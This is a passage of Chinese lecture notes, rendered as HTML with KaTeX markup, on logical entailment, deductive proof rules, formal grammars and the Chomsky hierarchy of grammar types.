\sigma \vDash \phi</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8867em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel amsrm">⊨</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">ϕ</span></span></span></span> 或 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mo>⊨</mo><mi>σ</mi><mi>M</mi></msubsup><mi>ϕ</mi></mrow><annotation encoding="application/x-tex">\vDash^M_\sigma\phi</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0883em;vertical-align:-0.247em;"></span><span class="mrel"><span class="mrel amsrm">⊨</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">σ</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">M</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">ϕ</span></span></span></span></li>
<li>在给定结构 M 下每个赋值成立，记为<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi><mo>⊨</mo><mi>ϕ</mi></mrow><annotation encoding="application/x-tex">M\vDash\phi</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6922em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel amsrm">⊨</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">ϕ</span></span></span></span>或<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mo>⊨</mo><mi>M</mi></msup><mo>=</mo><mi>ϕ</mi></mrow><annotation encoding="application/x-tex">\vDash^M = \phi</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8413em;"></span><span class="mrel"><span class="mrel amsrm">⊨</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8413em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">M</span></span></span></span></span></span></span></span></span><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">ϕ</span></span></span></span></li>
<li>任意赋值成立：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>⊨</mo><mi>ϕ</mi></mrow><annotation encoding="application/x-tex">\vDash\phi</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6922em;"></span><span class="mrel amsrm">⊨</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">ϕ</span></span></span></span></li>
</ul>
</li>
<li>
<p>演绎推理</p>
<ul>
<li>从一个集合的前提条件推导出一个结论的过程</li>
<li>运用 Modus penens，矛盾，传递</li>
<li>一些证明规则：</li>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-LMMXmR.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-LMMXmR.png" alt="image-20200902110734521" loading="lazy" data-wrapped="true"></a></li>
<li>证明过程：对于<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mi>A</mi><mi>C</mi></mfrac></mrow><annotation encoding="application/x-tex">\frac{A}{C}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2173em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8723em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.07153em;">C</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">A</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>，若要证明 C 只需证明 A，A 与 C 是相继式（<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>H</mi><mo>⊢</mo><mi>G</mi></mrow><annotation encoding="application/x-tex">H\vdash G</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⊢</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">G</span></span></span></span>，H 前件，G 后件）</li>
<li>一个证明的例子：</li>
<li><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-u6KShf.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-09-02-u6KShf.png" alt="image-20200902113914551" loading="lazy" data-wrapped="true"></a></li>
</ul>
</li>
</ul>
<h2 id="文法"><a href="#文法">文法</a></h2>
<h3 id="概念"><a href="#概念">概念</a></h3>
<ul>
<li>
<p>包含： V (ariables) T (erminal symbols) P (roductions /rules) S (tart symbols)</p>
<ul>
<li>V: 非终止符号，满足 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>V</mi><mo>∩</mo><mi>T</mi><mo>=</mo><mi mathvariant="normal">∅</mi></mrow><annotation encoding="application/x-tex">V \cap T = \emptyset</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∩</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8056em;vertical-align:-0.0556em;"></span><span class="mord">∅</span></span></span></span></li>
<li>S: 起始符号，满足 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mo>∈</mo><mi>V</mi></mrow><annotation encoding="application/x-tex">S \in V</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span></span></span></span></li>
</ul>
</li>
<li>
<p>文法的推导：<span class="katex-error" title="ParseError: KaTeX parse error: Can&#x27;t use function &#x27;$&#x27; in math mode at position 16: Let G=(V,T,P,S)$̲$，" style="color:#cc0000">Let G=(V,T,P,S)$$，</span>. 有<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo>→</mo><mi>β</mi><mo>∈</mo><mi>P</mi><mo separator="true">,</mo><mi>γ</mi><mo separator="true">,</mo><mi>δ</mi><mo>∈</mo><mo stretchy="false">(</mo><mi>V</mi><mo>∪</mo><mi>T</mi><msup><mo stretchy="false">)</mo><mo>∗</mo></msup></mrow><annotation encoding="application/x-tex"> α→β∈P, γ,δ∈(V∪T)^∗</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05556em;">γ</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∪</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span></span></span></span>, 则称 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext>𝛾𝛼𝛿</mtext><msub><mo>⇒</mo><mi>𝐺</mi></msub><mtext>𝛾𝛽𝛿</mtext></mrow><annotation encoding="application/x-tex">𝛾𝛼𝛿⇒_𝐺 𝛾𝛽𝛿</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5169em;vertical-align:-0.15em;"></span><span class="mord">𝛾𝛼𝛿</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel">⇒</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">G</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0em;"></span><span class="mord">𝛾𝛽𝛿</span></span></span></span></p>
<ul>
<li>上述过程 = <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext>𝛾𝛼𝛿</mtext></mrow><annotation encoding="application/x-tex">𝛾𝛼𝛿</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mord">𝛾𝛼𝛿</span></span></span></span>规约成<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext>𝛾𝛽𝛿</mtext></mrow><annotation encoding="application/x-tex">𝛾𝛽𝛿</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mord">𝛾𝛽𝛿</span></span></span></span></li>
<li>最左 &#x26; 最右，依据替换次序的不同，一个语句可以有多种推导</li>
</ul>
</li>
<li>
<p>文法的语言： <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi><mo stretchy="false">(</mo><mi>G</mi><mo stretchy="false">)</mo><mo>=</mo><mrow><mi>w</mi><mi mathvariant="normal">∣</mi><mi>w</mi><mo>∈</mo><msup><mi>T</mi><mo>∗</mo></msup><mo separator="true">,</mo><mi>S</mi><msubsup><mo>⇒</mo><mi>G</mi><mo>∗</mo></msubsup><mi>w</mi></mrow></mrow><annotation encoding="application/x-tex">L(G) = {w | w\in T^*, S \Rightarrow^*_G w}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">L</span><span class="mopen">(</span><span class="mord mathnormal">G</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0253em;vertical-align:-0.2753em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel">⇒</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-2.4247em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">G</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2753em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span></span></span></span></span></p>
</li>
<li>
<p>符号上的描述： + 和 * 作为幂时表示长度为 1 以上 或 0 以上的表达式，如<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>T</mi><mo>∗</mo></msup><mo separator="true">,</mo><msup><mi>T</mi><mo>+</mo></msup></mrow><annotation encoding="application/x-tex">T^*, T^+</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9658em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6887em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7713em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">+</span></span></span></span></span></span></span></span></span></span></span> 等</p>
</li>
<li>
<p><strong>定义：等价文法：如果<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi><mo stretchy="false">(</mo><msub><mi>G</mi><mn>1</mn></msub><mo stretchy="false">)</mo><mo>=</mo><mi>L</mi><mo stretchy="false">(</mo><msub><mi>G</mi><mn>2</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">L(G_1) = L(G_2)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">L</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">G</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">L</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">G</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span> ，则等价</strong></p>
</li>
</ul>
<h3 id="文法分类的乔姆斯基体系"><a href="#文法分类的乔姆斯基体系">文法分类的乔姆斯基体系</a></h3>
<p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn><mi>R</mi><mi>G</mi><mo>⊂</mo><mn>2</mn><mi>C</mi><mi>F</mi><mi>G</mi><mo>⊂</mo><mn>1</mn><mi>C</mi><mi>S</mi><mi>G</mi><mo>⊂</mo><mn>0</mn><mi>P</mi><mi>S</mi><mi>G</mi></mrow><annotation encoding="application/x-tex">3 RG  \subset 2 CFG \subset 1 CSG\subset 0 PSG</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord">3</span><span class="mord mathnormal">RG</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⊂</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord">2</span><span class="mord mathnormal">CFG</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⊂</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7224em;vertical-align:-0.0391em;"></span><span class="mord">1</span><span class="mord mathnormal">CSG</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⊂</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">0</span><span class="mord mathnormal">PSG</span></span></span></span></p>
<h4 id="0-型文法"><a href="#0-型文法">0 型文法</a></h4>
<p>由文法结构定义的文法，又称为递归可枚举文法、短语结构语言、递归可枚举集等</p>
<p>Phrase structure grammer, aka PSG</p>
<h4 id="1-型文法"><a href="#1-型文法">1 型文法</a></h4>
<p>满足：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∀</mi><mi>α</mi><mo>→</mo><mi>β</mi><mo>∈</mo><mi>P</mi><mo separator="true">,</mo><mi mathvariant="normal">∣</mi><mi>β</mi><mi mathvariant="normal">∣</mi><mo>≥</mo><mi mathvariant="normal">∣</mi><mi>α</mi><mi mathvariant="normal">∣</mi></mrow><annotation encoding="application/x-tex">\forall \alpha \rightarrow \beta \in P, |\beta| \ge |\alpha|</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord">∀</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mord">∣</span></span></span></span></p>
<p>又称上下文有关文法 Context sensitive grammar aka CSG</p>
<h4 id="2-型文法"><a href="#2-型文法">2 型文法</a></h4>
<p>满足：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∀</mi><mi>α</mi><mo>→</mo><mi>β</mi><mo>∈</mo><mi>P</mi><mo separator="true">,</mo><mi mathvariant="normal">∣</mi><mi>β</mi><mi mathvariant="normal">∣</mi><mo>≥</mo><mi mathvariant="normal">∣</mi><mi>α</mi><mi mathvariant="normal">∣</mi></mrow><annotation encoding="application/x-tex">\forall \alpha \rightarrow \beta \in P, |\beta| \ge |\alpha|</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord">∀</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mord">∣</span></span></span></span> 且 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>α</mi><mo>∈</mo><mi>V</mi></mrow><annotation encoding="application/x-tex">\alpha \in V</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span></span></span></span></p>
<p>又称上下文无关文法 Context free grammar, aka CFG</p>
<p>例如：T = {a, b}, <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi><mo>→</mo><mi>A</mi><mi>S</mi><mi>B</mi><mi mathvariant="normal">∣</mi><mi>ε</mi><mo separator="true">,</mo><mi>A</mi><mo>→</mo><mi>a</mi><mi>a</mi><mo separator="true">,</mo><mi>B</mi><mo>→</mo><mi>b</mi></mrow><annotation encoding="application/x-tex">S \rightarrow ASB | \varepsilon, A \rightarrow aa, B \rightarrow b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right:0.05017em;">SB</span><span class="mord">∣</span><span class="mord mathnormal">ε</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">aa</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span></span></span></span></p>
<h4 id="3-型文法"><a href="#3-型文法">3 型文法</a></h4>
<p>满足：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∀</mi><mi>α</mi><mo>→</mo><mi>β</mi><mo>∈</mo><mi>P</mi></mrow><annotation encoding="application/x-tex">\forall \alpha \rightarrow \beta \in P</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord">∀</span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05278em;">β</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span></span></span></span> 具备形式：</p>
<p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>→</mo><mi>w</mi></mrow><annotation encoding="application/x-tex">A \rightarrow w</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span></span></span></span> 或 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>→</mo><mi>w</mi><mi>B</mi></mrow><annotation encoding="application/x-tex">A \rightarrow wB</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">wB</span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo separator="true">,</mo><mi>B</mi><mo>∈</mo><mi>V</mi><mo separator="true">,</mo><mi>w</mi><mo>∈</mo><msup><mi>T</mi><mo>+</mo></msup></mrow><annotation encoding="application/x-tex">A,B\in V, w\in T^+</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">A</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" 